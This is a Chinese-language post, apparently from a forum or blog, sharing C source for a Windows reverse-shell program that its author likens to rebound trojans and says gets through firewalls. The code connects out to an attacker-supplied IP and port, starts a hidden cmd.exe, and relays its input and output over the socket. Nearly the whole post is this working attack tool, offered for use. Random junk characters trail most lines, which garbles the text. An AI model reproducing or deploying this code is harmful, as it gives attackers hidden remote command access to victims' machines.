Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ;" *`  
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/* ============================== uLM_KZ  
Rebound port in Windows NT +CT$/k  
By wind,2006/7 eNFUjDm  
===============================*/ ODEXQl}R  
#include wjJ1Psnx  
#include 2>k)=hl:  
R6XMBYK^  
#pragma comment(lib,"wsock32.lib") m4wTg 8LJ  
@RIEO%S  
void OutputShell(); c1J)yv1y  
SOCKET sClient; 0AKwZ' &H  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E3skC%}  
|mmG s  
void main(int argc,char **argv) 1}E@lOc  
{ A*~1Uz\t  
WSADATA stWsaData; lKUm_; m  
int nRet; Bedjw =B  
SOCKADDR_IN stSaiClient,stSaiServer; ]P$DAi  
<\g&%c,  
if(argc != 3) :(`>bY  
{ C
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printf("Useage:\n\rRebound DestIP DestPort\n"); ~bTae =FP  
return; ;x^,t@ xge  
} S\5k'ifh  
b H_pNx81  
WSAStartup(MAKEWORD(2,2),&stWsaData); NCFV
 
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ue"?S6  
t1{}-JlA  
stSaiClient.sin_family = AF_INET; {7>CA'>  
stSaiClient.sin_port = htons(0); "D(8]EG=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -3tBN*0+  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OX/.v?
c  
{ WnzPPh3PJ  
printf("Bind Socket Failed!\n"); oQnk+>}%  
return; )K>@$6H+2  
} DS}rFU  
5Y=\~,%\oH  
stSaiServer.sin_family = AF_INET; t=rAcyNM  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s;7qNwYO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %*c|[7Z~V  
c dbSv=r  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dMmka
  
{ -QPWi2:k  
printf("Connect Error!"); {IHK<aW  
return; aSkx#mV  
} hO.G'q$V  
OutputShell(); qd~98FS  
} 8]":[s6x  
<>i+R#u{  
void OutputShell() n qLAby_  
{ `F\:XuY  
char szBuff[1024]; mv*T=N8fC  
SECURITY_ATTRIBUTES stSecurityAttributes; |cGeL[  
OSVERSIONINFO stOsversionInfo; #S%Y;ilq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zWs*kTtA  
STARTUPINFO stStartupInfo; .*~u  
char *szShell; /cC6qhkp%  
PROCESS_INFORMATION stProcessInformation; 9m!!b{  
unsigned long lBytesRead; QlYs7zZ  
TUUE(sLA  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ioNa~F&  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); p;=kH{uu  
stSecurityAttributes.lpSecurityDescriptor = 0; ),Ho(%T\  
stSecurityAttributes.bInheritHandle = TRUE; )_^WpyzF1  
^I<T+X+<  
MJK
l]&  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cYM~IA  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U+PCvl=x  
Cz@FZb8  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); TDFO9%2c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V
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stStartupInfo.wShowWindow = SW_HIDE; ]vQ?]d?>a  
stStartupInfo.hStdInput = hReadPipe; $7n#\h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iSr`fQw#  
Ivt} o_b*  
GetVersionEx(&stOsversionInfo); r7"Au"  
dH2]ZE0V  
switch(stOsversionInfo.dwPlatformId) bV$8 >[`  
{ 3$N %iE
6  
case 1: ^jha:d  
szShell = "command.com"; 5Z6-R}uXk  
break; MkW1FjdP  
default: ,+/9K)X  
szShell = "cmd.exe"; { w8 !K  
break; ]\RSHz  
} *$Lz2 ]  
Z-t}6c'Kg  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :-u-hO5*8  
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send(sClient,szMsg,77,0); G?1x+H;o5  
while(1) qTTn51  
{ 9R@abm,I  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~+<xFi  
if(lBytesRead) 2#b<d?"  
{ dT]L-uRZgy  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !jAWNK6  
send(sClient,szBuff,lBytesRead,0); jj3Pf>D+k  
} Q&upxE4-~  
else <DXmZ1  
{ D#d8^U  
lBytesRead=recv(sClient,szBuff,1024,0); tCbr<Ug  
if(lBytesRead<=0) break; w`j*W$82
  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [T4 pgt'H  
} lj EB  
} Bzu(XQ
 

/1 US,  
return; V9zywM  
}